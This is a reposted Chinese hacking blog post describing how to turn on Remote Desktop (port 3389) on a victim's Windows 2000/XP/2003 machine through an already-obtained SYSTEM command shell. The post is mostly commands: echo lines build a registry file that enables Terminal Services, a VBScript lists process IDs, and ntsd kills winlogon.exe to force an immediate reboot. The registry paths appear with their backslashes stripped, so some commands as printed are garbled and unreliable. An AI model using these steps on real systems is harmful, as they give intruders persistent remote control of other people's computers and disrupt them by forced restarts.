开启终端的最简单方法全攻略(转)

开启终端的最简单方法全攻略(转)[@more@]

  今天介绍的这种开终端的方法,绿色,环保,无污染~~

  

  不须上传任何文件开启终端的方法适合win2k,xp,2003.

  

  本文前提是已经通过某种方法得到了对方的一个SYSTEM权限的CMDSHELL~~

  

  在无须传任何文件的情况下开启终端服务。

  

   一、win 2k下终端开启终端

  

  首先用ECHO写一个3389.reg文件,然后导入到注册表,echo代码如下:

  

  echo Windows Registry Editor Version 5.00 >>3389.reg

  

  echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion etcache] >>3389.reg

  

  echo "Enabled"="0" >>3389.reg

  

  echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>3389.reg

  

  echo "ShutdownWithoutLogon"="0" >>3389.reg

  

  echo [HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] >>3389.reg

  

  echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg

  

  echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server] >>3389.reg

  

  echo "TSEnabled"=dword:00000001 >>3389.reg

  

  echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>3389.reg

  

  echo "Start"=dword:00000002 >>3389.reg

  

  echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermService] >>3389.reg

  

  echo "Start"=dword:00000002 >>3389.reg

  

  echo [HKEY_USERS.DEFAULTKeyboard LayoutToggle] >>3389.reg

  

  echo "Hotkey"="1" >>3389.reg

  

  echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWds dpwdTds cp] >>3389.reg

  

  echo "PortNumber"=dword:00000D3D >>3389.reg

  

  echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>3389.reg

  

  echo "PortNumber"=dword:00000D3D >>3389.reg

  

  把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。

  

  (如果要改变终端端口只须把上面的两个D3D都改一下就可以了)

  

  因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效。

  

  一个简单的办法就是用ntsd.exe(win 2k以上自带的命令)结束一个重要的进程就可以实现机器重启了!!

  

  比如结束winlogon.exe,lsass.exe也可以但结束后会跳出重启倒计时(不太好~)

  

  winlogon.exe被关闭后机器立刻强制重启了

  

  命令执行格式为ntsd -c q -p PID

  

  那如何知道winlogon.exe的PID进程号呢~

  

  以下这个脚本可以列举当前所有进程的PID:

  

  wscript.echo "PID  ProcessName"

  

  for each ps in getobject("winmgmts:. ootcimv2:win32_process").instances_

  

  wscript.echo ps.handle&vbtab&ps.name

  

  next

  

  在CMDSHELL窗口下贴上如下ECHO代码就可以得到查看进程PID的脚本1.vbe:

  

  echo wscript.echo "PID  ProcessName">>1.vbe

  

  echo for each ps in getobject("winmgmts:. ootcimv2:win32_process").instances_ >>1.vbe

  

  echo wscript.echo ps.handle^&vbtab^&ps.name>>1.vbe

  

  echo next>>1.vbe

  

  生成1.vbe后请检查一下echo出来的脚本是否有错(才四行,对一下上面给出的就可以了)。

  

  运行1.vbe得到如下运行结果:

  

  C:WINNTsystem32>cscript 1.vbe

  

  cscript 1.vbe

  

  Microsoft (R) Windows 脚本宿主版本 5.1 for Windows

  

  版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.

  

  PID  ProcessName

  

  0   System Idle Process

  

  8   System

  

  152  smss.exe

  

  180  csrss.exe

  

  200  winlogon.exe

  

  228  services.exe

  

  240  lsass.exe

  

  424  svchost.exe

  

  472  spoolsv.exe

  

  512  msdtc.exe

  

  616  svchost.exe

  

  628  KAVSvc.EXE

  

  660  llssrv.exe

  

  692  nvsvc32.exe

  

  728  regsvc.exe

  

  748  MSTask.exe

  

  776  alter.exe

  

  900  svchost.exe

  

  916  WinMgmt.exe

  

  1088  Dfssvc.exe

  

  484  Explorer.EXE

  

  1444  mdm.exe

  

  1340  Server.exe

  

  1224  ibguard.exe

  

  1252  KAVSvcUI.EXE

  

  1256  ibserver.exe

  

  1336  internat.exe

  

  1204  Uspds.exe

  

  720  bar.exe

  

  1288  dllhost.exe

  

  1580  inetinfo.exe

  

  1672  cmd.exe

  

  1464  pppoe.exe

  

  1704  regedit.exe

  

  316  cscript.exe

  

  从上面可以看出当前winlogon.exe的PID号为200运行命令ntsd -c q -p 200 (这里的200要替换为winlogon.exe进程对就的PID啦)过会儿机器马上重启了(ntsd.exe是WIN自带的可用来结束任意级别进程)等着收获吧~~

  

  

  


来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10763080/viewspace-948311/,如需转载,请注明出处,否则将追究法律责任。

转载于:http://blog.itpub.net/10763080/viewspace-948311/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值